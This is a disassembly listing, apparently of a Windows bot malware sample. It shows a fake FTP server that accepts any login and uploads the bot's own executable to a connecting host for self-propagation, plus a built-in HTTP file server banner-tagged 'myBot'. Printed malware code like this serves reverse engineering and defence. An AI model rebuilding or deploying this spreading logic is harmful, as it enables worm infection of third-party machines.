		lea	eax, [ebp+ecx*4+var_224]


loc_403C41:				; CODE XREF: sub_403A1B+238j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	edx, [ebp+var_228]
		add	eax, 4
		dec	edx
		cmp	ecx, edx
		jb	short loc_403C41


loc_403C55:				; CODE XREF: sub_403A1B+21Dj
		dec	[ebp+var_228]


loc_403C5B:				; CODE XREF: sub_403A1B+204j
					; sub_403A1B+218j
		push	edi
		call	ds:dword_42220C	; closesocket
		jmp	loc_404005
; ---------------------------------------------------------------------------


loc_403C67:				; CODE XREF: sub_403A1B+1F8j
		lea	eax, [ebp+var_334]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aSS	; "%s %s"
		push	eax
		call	sub_416A97
		lea	eax, [ebp+var_AC]
		push	offset aUser_0	; "USER"
		push	eax
		call	sub_4158A0
		add	esp, 18h
		test	eax, eax
		jnz	short loc_403CAB
		push	esi
		push	16h
		push	offset a331PasswordReq ; "331 Password required\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403CAB:				; CODE XREF: sub_403A1B+281j
		lea	eax, [ebp+var_AC]
		push	offset aPass	; "PASS"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CCF
		push	esi
		push	14h
		push	offset a230UserLoggedI ; "230 User logged in.\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403CCF:				; CODE XREF: sub_403A1B+2A5j
		lea	eax, [ebp+var_AC]
		push	offset aSyst	; "SYST"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CF3
		push	esi
		push	0Dh
		push	offset a215Nzmxftpd ; "215 NzmxFtpd\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403CF3:				; CODE XREF: sub_403A1B+2C9j
		lea	eax, [ebp+var_AC]
		push	offset aRest	; "REST"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D17
		push	esi
		push	10h
		push	offset a350Restarting_ ; "350 Restarting.\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403D17:				; CODE XREF: sub_403A1B+2EDj
		lea	eax, [ebp+var_AC]
		push	offset off_425C40
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D3B
		push	esi
		push	1Eh
		push	offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403D3B:				; CODE XREF: sub_403A1B+311j
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D76
		lea	eax, [ebp+var_334]
		push	offset aA	; "A"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403D76
		push	esi
		push	13h
		push	offset a200TypeSetToA_ ; "200 Type set to A.\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403D76:				; CODE XREF: sub_403A1B+335j
					; sub_403A1B+34Cj
		lea	eax, [ebp+var_AC]
		push	offset aType	; "TYPE"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DB1
		lea	eax, [ebp+var_334]
		push	offset aI	; "I"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DB1
		push	esi
		push	13h
		push	offset a200TypeSetToI_ ; "200 Type set to I.\n"
		jmp	loc_403FF0
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_403A1B+370j
					; sub_403A1B+387j
		lea	eax, [ebp+var_AC]
		push	offset aPasv	; "PASV"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403DFF
		push	0Ah
		mov	esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
		pop	ecx
		lea	edi, [ebp+var_124]
		rep movsd
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		movsw
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_124]


loc_403DEF:				; CODE XREF: sub_403A1B+423j
		push	eax
		push	[ebp+arg_0]
		call	ebx	; send
		xor	esi, esi


loc_403DF7:				; CODE XREF: sub_403A1B+4F6j
		mov	edi, [ebp+arg_0]
		jmp	loc_403FF3
; ---------------------------------------------------------------------------


loc_403DFF:				; CODE XREF: sub_403A1B+3ABj
		lea	eax, [ebp+var_AC]
		push	offset aList	; "LIST"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403E40
		push	5
		mov	esi, offset a226TransferCom ; "226 Transfer complete\n"
		pop	ecx
		lea	edi, [ebp+var_C4]
		rep movsd
		movsw
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		movsb
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_C4]
		jmp	short loc_403DEF
; ---------------------------------------------------------------------------


loc_403E40:				; CODE XREF: sub_403A1B+3F9j
		lea	eax, [ebp+var_AC]
		push	offset aPort	; "PORT"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403F16
		lea	eax, [ebp+var_2D0]
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_29C]
		push	offset aS	; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
		push	eax
		call	sub_416A97
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_4159EF
		mov	edi, eax
		lea	eax, [ebp+var_2D0]
		push	eax
		call	sub_4159EF
		mov	[ebp+var_8], eax
		push	32h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 34h
		lea	eax, [ebp+var_F8]
		push	[ebp+var_8]
		push	edi
		push	offset aXX	; "%x%x\n"
		push	eax
		call	sub_415480
		push	10h
		lea	eax, [ebp+var_F8]
		push	esi
		push	eax
		call	sub_416A80
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset aS_S_S_S	; "%s.%s.%s.%s"
		push	eax
		call	sub_415480
		add	esp, 18h
		push	esi
		push	1Dh
		push	offset a200PortCommand ; "200 PORT command successful.\n"
		push	[ebp+arg_0]
		call	ebx	; send
		jmp	loc_403DF7
; ---------------------------------------------------------------------------


loc_403F16:				; CODE XREF: sub_403A1B+43Aj
		lea	eax, [ebp+var_AC]
		push	offset aRetr	; "RETR"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403FD1
		push	esi
		push	28h
		push	offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
		push	edi
		call	ebx	; send
		push	[ebp+var_8]
		lea	eax, [ebp+var_48]
		push	eax
		call	sub_404021
		pop	ecx
		cmp	eax, 1
		pop	ecx
		jnz	short loc_403FC7
		call	sub_40409E
		cmp	eax, 1
		jnz	loc_403FF3
		push	esi
		push	17h
		push	offset a226TransferC_0 ; "226 Transfer complete.\n"
		push	edi
		call	ebx	; send
		lea	eax, [ebp+var_6D8]
		push	eax
		lea	eax, [ebp+var_48]
		push	ds:dword_4325E0
		push	eax
		lea	eax, [ebp+var_8DC]
		push	offset unk_425A94
		push	eax
		call	sub_415480
		add	esp, 14h
		cmp	[ebp+var_440], esi
		jnz	short loc_403FB8
		push	esi
		lea	eax, [ebp+var_8DC]
		push	[ebp+var_444]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	eax
		push	[ebp+var_6DC]
		call	sub_40BAE7
		add	esp, 14h


loc_403FB8:				; CODE XREF: sub_403A1B+578j
		lea	eax, [ebp+var_8DC]
		push	eax
		call	sub_40A5B3
		pop	ecx
		jmp	short loc_403FF3
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403A1B+532j
		push	esi
		push	20h
		push	offset a425CanTOpenDat ; "425 Can't open data connection.\n"
		jmp	short loc_403FF0
; ---------------------------------------------------------------------------


loc_403FD1:				; CODE XREF: sub_403A1B+510j
		lea	eax, [ebp+var_AC]
		push	offset aQuit	; "QUIT"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403FF3
		push	esi
		push	1Bh
		push	offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"


loc_403FF0:				; CODE XREF: sub_403A1B+28Bj
					; sub_403A1B+2AFj ...
		push	edi
		call	ebx	; send


loc_403FF3:				; CODE XREF: sub_403A1B+3DFj
					; sub_403A1B+53Cj ...
		push	64h
		lea	eax, [ebp+var_29C]
		push	esi
		push	eax
		call	sub_415500
		add	esp, 0Ch


loc_404005:				; CODE XREF: sub_403A1B+160j
					; sub_403A1B+189j ...
		inc	edi
		cmp	edi, [ebp+var_4]
		mov	[ebp+arg_0], edi
		jle	loc_403B49
		jmp	loc_403B0E
; ---------------------------------------------------------------------------


loc_404017:				; CODE XREF: sub_403A1B+11Ej
		push	1
		pop	eax


loc_40401A:				; CODE XREF: sub_403A1B+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_403A1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404021	proc near		; CODE XREF: sub_403A1B+528p

var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp+var_1A0]
		push	eax
		push	101h
		call	ds:dword_4221D8	; WSAStartup
		push	0
		push	1
		push	2
		call	ds:dword_422200	; socket
		push	[ebp+arg_0]
		mov	ds:dword_4325DC, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4221D0	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4221E0	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_4325DC
		call	ds:dword_422208	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404099
		push	ds:dword_4325DC
		call	ds:dword_42220C	; closesocket
		call	ds:dword_4221D4	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_404099:				; CODE XREF: sub_404021+60j
		push	1
		pop	eax
		leave
		retn
sub_404021	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40409E	proc near		; CODE XREF: sub_403A1B+534p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	ds:off_422060
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415B78
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_404135
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_404119
		push	edi
		mov	edi, 400h


loc_4040E1:				; CODE XREF: sub_40409E+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416BA7
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_4325DC
		call	ds:dword_4221F4	; send
		push	1
		call	ds:dword_422054	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_4040E1
		pop	edi


loc_404119:				; CODE XREF: sub_40409E+3Bj
		push	esi
		call	sub_415AD0
		pop	ecx
		push	ds:dword_4325DC
		call	ds:dword_42220C	; closesocket
		call	ds:dword_4221D4	; WSACleanup
		push	1
		pop	eax


loc_404135:				; CODE XREF: sub_40409E+35j
		pop	esi
		leave
		retn
sub_40409E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404138	proc near		; DATA XREF: sub_405898+333o
					; sub_40D2E0+54E8o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415500
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_436468	; htons
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_4364E8	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_404523
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43BECC[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_436494	; bind
		cmp	eax, 0FFFFFFFFh
		jz	loc_404523
		push	7FFFFFFFh
		push	edi
		call	ds:dword_436490	; listen
		cmp	eax, 0FFFFFFFFh
		jz	loc_404523
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_436504	; ioctlsocket
		cmp	eax, 0FFFFFFFFh
		jz	loc_404523
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40420F:				; CODE XREF: sub_404138+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_436450	; select
		cmp	eax, 0FFFFFFFFh
		jz	loc_40451E
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_404245:				; CODE XREF: sub_404138+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_436360	; __WSAFDIsSet
		test	eax, eax
		jz	loc_404509
		cmp	esi, [ebp+var_C]
		jnz	short loc_4042C7
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_4364FC	; accept
		cmp	eax, 0FFFFFFFFh
		jz	loc_404509
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404299
		lea	edx, [ebp+var_134]


loc_40428D:				; CODE XREF: sub_404138+15Fj
		cmp	[edx], eax
		jz	short loc_404299
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40428D


loc_404299:				; CODE XREF: sub_404138+14Dj
					; sub_404138+157j
		cmp	ecx, ebx
		jnz	short loc_4042B6
		cmp	ebx, 40h
		jnb	short loc_4042B6
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_4042B6:				; CODE XREF: sub_404138+163j
					; sub_404138+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_404509
		mov	[ebp+var_8], eax
		jmp	loc_404509
; ---------------------------------------------------------------------------


loc_4042C7:				; CODE XREF: sub_404138+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415500
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415500
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_436480	; recv
		test	eax, eax
		jg	short loc_40435A
		push	esi
		call	ds:dword_436500	; closesocket
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_404509
		lea	eax, [ebp+var_134]


loc_404319:				; CODE XREF: sub_404138+1EBj
		cmp	[eax], esi
		jz	short loc_40432A
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404319
		jmp	loc_404509
; ---------------------------------------------------------------------------


loc_40432A:				; CODE XREF: sub_404138+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40434E
		lea	eax, [ebp+ecx*4+var_134]


loc_404338:				; CODE XREF: sub_404138+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404338


loc_40434E:				; CODE XREF: sub_404138+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_404509
; ---------------------------------------------------------------------------


loc_40435A:				; CODE XREF: sub_404138+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415500
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415C80
		add	esp, 10h
		test	eax, eax
		jbe	loc_404509


loc_404388:				; CODE XREF: sub_404138+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40442D
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415A50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404401
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415C80
		cmp	eax, 5
		pop	ecx
		jbe	short loc_404401
		mov	eax, offset asc_425D24 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415A50
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415A50
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C8F
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415B90
		add	esp, 10h
		jmp	short loc_404418
; ---------------------------------------------------------------------------


loc_404401:				; CODE XREF: sub_404138+27Fj
					; sub_404138+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_425D20 ; "\r\n"
		push	eax
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40444C


loc_404418:				; CODE XREF: sub_404138+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415500
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40442D:				; CODE XREF: sub_404138+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415C80
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_404388
		jmp	loc_404509
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_404138+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_404496
		lea	eax, [ebp+var_134]


loc_404458:				; CODE XREF: sub_404138+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_404469
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_404458
		jmp	short loc_404499
; ---------------------------------------------------------------------------


loc_404469:				; CODE XREF: sub_404138+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40448D
		lea	eax, [ebp+ecx*4+var_134]


loc_404477:				; CODE XREF: sub_404138+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_404477


loc_40448D:				; CODE XREF: sub_404138+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_404499
; ---------------------------------------------------------------------------


loc_404496:				; CODE XREF: sub_404138+318j
		mov	esi, [ebp+var_4]


loc_404499:				; CODE XREF: sub_404138+32Fj
					; sub_404138+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_404502
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415C80
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415C80
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_404502
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_436504	; ioctlsocket
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_404716
		add	esp, 14h
		jmp	short loc_404509
; ---------------------------------------------------------------------------


loc_404502:				; CODE XREF: sub_404138+369j
					; sub_404138+38Fj
		push	esi
		call	ds:dword_436500	; closesocket


loc_404509:				; CODE XREF: sub_404138+11Dj
					; sub_404138+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_404245
		jmp	loc_40420F
; ---------------------------------------------------------------------------


loc_40451E:				; CODE XREF: sub_404138+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_404523:				; CODE XREF: sub_404138+6Aj
					; sub_404138+92j ...
		call	ds:dword_4363FC	; WSAGetLastError
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_425CDC
		push	eax
		call	sub_415480
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_404569
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40BAE7
		add	esp, 14h


loc_404569:				; CODE XREF: sub_404138+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40A5B3
		pop	ecx
		push	edi
		call	ds:dword_436500	; closesocket
		push	[ebp+var_254]
		call	sub_415248
		pop	ecx
		push	ebx
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_404138	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404593	proc near		; DATA XREF: sub_404716+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D00
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_415480
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_4045F9
		push	offset aTextHtml ; "text/html"
		jmp	short loc_4045FE
; ---------------------------------------------------------------------------


loc_4045F9:				; CODE XREF: sub_404593+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_4045FE:				; CODE XREF: sub_404593+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	ds:dword_422068	; GetDateFormatA
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	ds:dword_422064	; GetTimeFormatA
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_404677
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415480
		add	esp, 24h
		jmp	short loc_404698
; ---------------------------------------------------------------------------


loc_404677:				; CODE XREF: sub_404593+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_415480
		add	esp, 28h


loc_404698:				; CODE XREF: sub_404593+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_4364B8	; send
		cmp	[ebp+var_A4], edi
		jnz	short loc_4046D8
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_405053
		pop	ecx
		pop	ecx
		jmp	short loc_4046F5
; ---------------------------------------------------------------------------


loc_4046D8:				; CODE XREF: sub_404593+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4049CD
		add	esp, 10h


loc_4046F5:				; CODE XREF: sub_404593+143j
		push	[ebp+var_44C]
		call	ds:dword_436500	; closesocket
		push	[ebp+var_B4]
		call	sub_415248
		pop	ecx
		push	edi
		call	ds:dword_422044	; ExitThread
		pop	edi
		pop	esi
sub_404593	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404716	proc near		; CODE XREF: sub_404138+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415500
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40474C
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_404755
; ---------------------------------------------------------------------------


loc_40474C:				; CODE XREF: sub_404716+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_2	; "%s"


loc_404755:				; CODE XREF: sub_404716+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415480
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415C80
		test	eax, eax
		pop	ecx
		jbe	short loc_4047F0
		mov	[ebp+arg_8], 2


loc_404780:				; CODE XREF: sub_404716+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415C80
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4047C0
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4047C0
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4047C0
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4047C0
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4047DA
; ---------------------------------------------------------------------------


loc_4047C0:				; CODE XREF: sub_404716+7Aj
					; sub_404716+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
